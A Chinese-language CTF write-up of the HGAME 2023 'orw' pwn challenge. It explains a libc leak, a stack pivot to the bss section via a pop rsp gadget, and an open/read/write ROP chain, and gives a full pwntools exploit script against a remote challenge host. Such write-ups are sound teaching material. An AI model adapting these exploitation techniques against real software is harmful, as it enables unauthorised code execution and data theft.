【PWN · ORW | 栈迁移 | ROP】[HGAME 2023 week1]orw

这题有些许复杂,但也并没有


前言

ROP的ORW还是第一次做,之前接触到的都是shellcode形式的

利用libc的gadget是个很好的思路,能获得大量有益的gadget


一、题目

 栈溢出但是沙箱,需要orw

 但是溢出长度仅有0x30——需要栈迁移


二、思路

  1. 泄露libc,经典地puts(puts)即可,并且返回到vuln重新触发漏洞
  2. 第二次栈溢出,构造read,利用其将ROP链写到bss段
  3. 写ROP链——open、read、write
  4. 将栈迁移到bss对应位置,这里没有用leave,而是用libc的丰富gadget——pop rsp

三、EXP

from pwn import *
from pwn import p64,u64
context(arch='amd64',log_level='debug')

# libc-gadgets
# 0x0000000000023b6a : pop rdi ; ret
# 0x000000000002601f : pop rsi ; ret
# 0x0000000000142c92 : pop rdx ; ret
# 0x000000000002f70a : pop rsp ; ret
# elf-gadgets
# 0x0000000000401393 : pop rdi ; ret

vuln=0x04012C0
rdi=0x401393
# io=process('./pwn')
io=remote('node5.anna.nssctf.cn',28012)
elf=ELF('./pwn')
libc=ELF('./libc-2.31.so')
# gdb.attach(io)
# input()

### leak_libc
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
payload=b'a'*0x108+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(vuln)
io.sendlineafter(b'task.\n',payload)
puts_real=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
success('puts_real:'+hex(puts_real))
libc_base=puts_real-libc.sym['puts']
success('libc_base:'+hex(libc_base))

### read_bss
bss_base=elf.bss()
# read(int fd, void *buf, size_t count);
read_real=libc_base+libc.sym['read']
fd=0
buf=bss_base+0x100
count=0x200
rdi=libc_base+0x23b6a
rsi=libc_base+0x2601f
rdx=libc_base+0x142c92
rsp=libc_base+0x2f70a
# payload=b'a'*0x108+p64(rdi)+p64(fd)+p64(rsi)+p64(buf)+p64(rdx)+p64(count)+p64(read_real)+p64(rsp)+p64(buf+8) 
# 利用到这个阶段时,寄存器残留值,可以减少payload的长度,刚好在这里用满了溢出的0x30字节
# p64(rsp)+p64(buf+8),修改rsp的值,+8是因为头部放了flag\x00
payload=b'a'*0x108+p64(rsi)+p64(buf)+p64(read_real)+p64(rsp)+p64(buf+8)
io.send(payload)

### rop->bss
payload=b'/flag'.ljust(8,b'\x00')
# open(const char *pathname, int flags)
open_real=libc_base+libc.sym['open']
pathname_ptr=buf
flags=0
payload+=p64(rdi)+p64(pathname_ptr)+p64(rsi)+p64(flags)+p64(open_real)
# read(int fd, void *buf, size_t count);
fd=3
buf2=buf+0x300
count=0x100
payload+=p64(rdi)+p64(fd)+p64(rsi)+p64(buf2)+p64(rdx)+p64(count)+p64(read_real)
# write(int handle,void* buf,int length)
write_real=libc_base+libc.sym['write']
handle=1
buf3=buf2
length=0x50
payload+=p64(rdi)+p64(handle)+p64(rsi)+p64(buf3)+p64(rdx)+p64(length)+p64(write_real)+p64(vuln)
# payload+=p64(rsi)+p64(buf3)+p64(rdx)+p64(length)+p64(write_real)+p64(vuln)
io.send(payload)

sleep(1)
io.recv()
io.interactive()
  • 8
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
提供的源码资源涵盖了安卓应用、小程序、Python应用和Java应用等多个领域,每个领域都包含了丰富的实例和项目。这些源码都是基于各自平台的最新技术和标准编写,确保了在对应环境下能够无缝运行。同时,源码中配备了详细的注释和文档,帮助用户快速理解代码结构和实现逻辑。 适用人群: 这些源码资源特别适合大学生群体。无论你是计算机相关专业的学生,还是对其他领域编程感兴趣的学生,这些资源都能为你提供宝贵的学习和实践机会。通过学习和运行这些源码,你可以掌握各平台开发的基础知识,提升编程能力和项目实战经验。 使用场景及目标: 在学习阶段,你可以利用这些源码资源进行课程实践、课外项目或毕业设计。通过分析和运行源码,你将深入了解各平台开发的技术细节和最佳实践,逐步培养起自己的项目开发和问题解决能力。此外,在求职或创业过程中,具备跨平台开发能力的大学生将更具竞争力。 其他说明: 为了确保源码资源的可运行性和易用性,特别注意了以下几点:首先,每份源码都提供了详细的运行环境和依赖说明,确保用户能够轻松搭建起开发环境;其次,源码中的注释和文档都非常完善,方便用户快速上手和理解代码;最后,我会定期更新这些源码资源,以适应各平台技术的最新发展和市场需求。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值